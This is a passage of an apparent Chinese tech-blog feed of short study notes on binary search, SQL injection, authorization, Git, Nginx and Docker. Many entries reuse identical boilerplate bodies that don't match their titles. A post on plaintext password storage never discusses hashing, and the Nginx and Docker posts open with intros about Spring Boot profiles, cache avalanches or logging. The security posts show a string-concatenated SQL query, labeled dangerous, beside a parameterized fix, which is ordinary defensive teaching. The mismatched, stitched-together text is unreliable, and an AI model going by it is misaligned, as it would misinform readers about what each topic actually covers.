        <content type="html"><![CDATA[<h1 id="二分查找为什么容易写错"><a href="#二分查找为什么容易写错" class="headerlink" title="二分查找为什么容易写错"></a>二分查找为什么容易写错</h1><p>二分查找看似简单，实际写起来却很容易出错。本文讲它的常见变体和注意事项。</p><h2 id="先写清楚输入和输出"><a href="#先写清楚输入和输出" class="headerlink" title="先写清楚输入和输出"></a>先写清楚输入和输出</h2><p>算法题最怕脑子里觉得懂，代码一写就错。先把输入、输出、边界条件列出来。</p><p>以二分查找为例：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="type">int</span> <span class="title function_">binarySearch</span><span class="params">(<span class="type">int</span>[] nums, <span class="type">int</span> target)</span> &#123;</span><br><span class="line">    <span class="type">int</span> <span class="variable">left</span> <span class="operator">=</span> <span class="number">0</span>, right = nums.length - <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">while</span> (left &lt;= right) &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">mid</span> <span class="operator">=</span> left + (right - left) / <span class="number">2</span>;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] == target) <span class="keyword">return</span> mid;</span><br><span class="line">        <span class="keyword">if</span> (nums[mid] &lt; target) left = mid + <span class="number">1</span>;</span><br><span class="line">        <span class="keyword">else</span> right = mid - <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> -<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="验证边界"><a href="#验证边界" class="headerlink" title="验证边界"></a>验证边界</h2><p>至少测试：空数组、只有一个元素、目标在开头、目标在结尾、目标不存在。</p>]]></content>
      
      
      <categories>
          
          <category> 算法 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 算法 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>密码存储为什么不能明文</title>
      <link href="//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/"/>
      <url>//mi-ma-cun-chu-wei-shi-me-bu-neng-ming-wen/</url>
      
        <content type="html"><![CDATA[<h1 id="密码存储为什么不能明文"><a href="#密码存储为什么不能明文" class="headerlink" title="密码存储为什么不能明文"></a>密码存储为什么不能明文</h1><p>密码为什么不能明文存储，这是一个基础但容易被忽视的问题。本文讲正确的做法。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>接口鉴权和权限校验的区别</title>
      <link href="//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/"/>
      <url>//jie-kou-jian-quan-he-quan-xian-xiao-yan-de-qu-bie/</url>
      
        <content type="html"><![CDATA[<h1 id="接口鉴权和权限校验的区别"><a href="#接口鉴权和权限校验的区别" class="headerlink" title="接口鉴权和权限校验的区别"></a>接口鉴权和权限校验的区别</h1><p>接口鉴权和权限校验是两个不同层次的概念。本文讲它们的区别和实现方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SQL 注入原理和防护方法</title>
      <link href="//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/"/>
      <url>//sql-zhu-ru-yuan-li-he-fang-hu-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="SQL-注入原理和防护方法"><a href="#SQL-注入原理和防护方法" class="headerlink" title="SQL 注入原理和防护方法"></a>SQL 注入原理和防护方法</h1><p>SQL 注入原理和防护方法是日常开发和面试中都会遇到的话题。本文从实际项目经验出发，讲它的核心概念和使用方式。</p><h2 id="安全问题要默认不信任输入"><a href="#安全问题要默认不信任输入" class="headerlink" title="安全问题要默认不信任输入"></a>安全问题要默认不信任输入</h2><p>无论是表单、URL 参数、Header，还是内部系统传来的字段，都不能天然相信。后端必须做校验、鉴权和日志审计。</p><h2 id="SQL-注入的例子"><a href="#SQL-注入的例子" class="headerlink" title="SQL 注入的例子"></a>SQL 注入的例子</h2><p>危险写法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;select * from user where name = &#x27;&quot;</span> + name + <span class="string">&quot;&#x27;&quot;</span>;</span><br></pre></td></tr></table></figure><p>推荐使用预编译参数：</p><figure class="highlight sql"><table><tr><td class="code"><pre><span class="line"><span class="keyword">SELECT</span> <span class="operator">*</span> <span class="keyword">FROM</span> <span class="keyword">user</span> <span class="keyword">WHERE</span> name <span class="operator">=</span> ?;</span><br></pre></td></tr></table></figure><p>在 MyBatis 中优先使用 <code>#{name}</code>，不要用 <code>${name}</code> 拼接用户输入。</p><h2 id="权限校验"><a href="#权限校验" class="headerlink" title="权限校验"></a>权限校验</h2><p>登录只说明“你是谁”，权限校验才说明“你能做什么”。敏感操作必须在服务端校验资源归属。</p>]]></content>
      
      
      <categories>
          
          <category> 安全 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 安全 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git 冲突解决的正确顺序</title>
      <link href="//git-chong-tu-jie-jue-de-zheng-que-shun-xu/"/>
      <url>//git-chong-tu-jie-jue-de-zheng-que-shun-xu/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-冲突解决的正确顺序"><a href="#Git-冲突解决的正确顺序" class="headerlink" title="Git 冲突解决的正确顺序"></a>Git 冲突解决的正确顺序</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git rebase 和 merge 怎么选</title>
      <link href="//git-rebase-he-merge-zen-me-xuan/"/>
      <url>//git-rebase-he-merge-zen-me-xuan/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-rebase-和-merge-怎么选"><a href="#Git-rebase-和-merge-怎么选" class="headerlink" title="Git rebase 和 merge 怎么选"></a>Git rebase 和 merge 怎么选</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Git 提交前如何检查改动</title>
      <link href="//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/"/>
      <url>//git-ti-jiao-qian-ru-he-jian-cha-gai-dong/</url>
      
        <content type="html"><![CDATA[<h1 id="Git-提交前如何检查改动"><a href="#Git-提交前如何检查改动" class="headerlink" title="Git 提交前如何检查改动"></a>Git 提交前如何检查改动</h1><p>Git rebase 和 merge 是开发中经常讨论的话题。本文讲它们的区别和适用场景。</p><h2 id="提交前先看清楚改动"><a href="#提交前先看清楚改动" class="headerlink" title="提交前先看清楚改动"></a>提交前先看清楚改动</h2><p>Git 最重要的习惯是提交前看 diff：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git status</span><br><span class="line">git diff</span><br><span class="line">git diff --cached</span><br></pre></td></tr></table></figure><p>确认没有调试代码、临时文件、无关格式化，再提交。</p><h2 id="推荐的小步提交"><a href="#推荐的小步提交" class="headerlink" title="推荐的小步提交"></a>推荐的小步提交</h2><p>一次提交只做一件事，例如：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git add src/main/java/com/example/UserService.java</span><br><span class="line">git commit -m <span class="string">&quot;fix: handle empty user result&quot;</span></span><br></pre></td></tr></table></figure><p>如果既改了接口又改了样式，最好拆成两个提交。后续回滚和 review 都会更轻松。</p><h2 id="冲突怎么处理"><a href="#冲突怎么处理" class="headerlink" title="冲突怎么处理"></a>冲突怎么处理</h2><p>遇到冲突不要机械选择 ours/theirs。先看双方分别想解决什么问题，再手动合并。合并后至少跑一遍相关测试。</p>]]></content>
      
      
      <categories>
          
          <category> Git </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Git </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 配置修改后的验证流程</title>
      <link href="//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/"/>
      <url>//nginx-pei-zhi-xiu-gai-hou-de-yan-zheng-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-配置修改后的验证流程"><a href="#Nginx-配置修改后的验证流程" class="headerlink" title="Nginx 配置修改后的验证流程"></a>Nginx 配置修改后的验证流程</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 静态资源缓存配置</title>
      <link href="//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/"/>
      <url>//nginx-jing-tai-zi-yuan-huan-cun-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-静态资源缓存配置"><a href="#Nginx-静态资源缓存配置" class="headerlink" title="Nginx 静态资源缓存配置"></a>Nginx 静态资源缓存配置</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Nginx 反向代理配置入门</title>
      <link href="//nginx-fan-xiang-dai-li-pei-zhi-ru-men/"/>
      <url>//nginx-fan-xiang-dai-li-pei-zhi-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="Nginx-反向代理配置入门"><a href="#Nginx-反向代理配置入门" class="headerlink" title="Nginx 反向代理配置入门"></a>Nginx 反向代理配置入门</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Nginx </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> Nginx </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>容器健康检查为什么重要</title>
      <link href="//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/"/>
      <url>//rong-qi-jian-kang-jian-cha-wei-shi-me-chong-yao/</url>
      
        <content type="html"><![CDATA[<h1 id="容器健康检查为什么重要"><a href="#容器健康检查为什么重要" class="headerlink" title="容器健康检查为什么重要"></a>容器健康检查为什么重要</h1><p>容器健康检查是保证服务稳定的重要一环。本文讲为什么重要以及如何做。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>docker compose 部署单机服务</title>
      <link href="//docker-compose-bu-shu-dan-ji-fu-wu/"/>
      <url>//docker-compose-bu-shu-dan-ji-fu-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="docker-compose-部署单机服务"><a href="#docker-compose-部署单机服务" class="headerlink" title="docker compose 部署单机服务"></a>docker compose 部署单机服务</h1><p>Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Docker 容器日志和数据卷实践</title>
      <link href="//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/"/>
      <url>//docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/</url>
      
        <content type="html"><![CDATA[<h1 id="Docker-容器日志和数据卷实践"><a href="#Docker-容器日志和数据卷实践" class="headerlink" title="Docker 容器日志和数据卷实践"></a>Docker 容器日志和数据卷实践</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Dockerfile 分层缓存和镜像优化</title>
      <link href="//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/"/>
      <url>//dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/</url>
      
        <content type="html"><![CDATA[<h1 id="Dockerfile-分层缓存和镜像优化"><a href="#Dockerfile-分层缓存和镜像优化" class="headerlink" title="Dockerfile 分层缓存和镜像优化"></a>Dockerfile 分层缓存和镜像优化</h1><p>缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 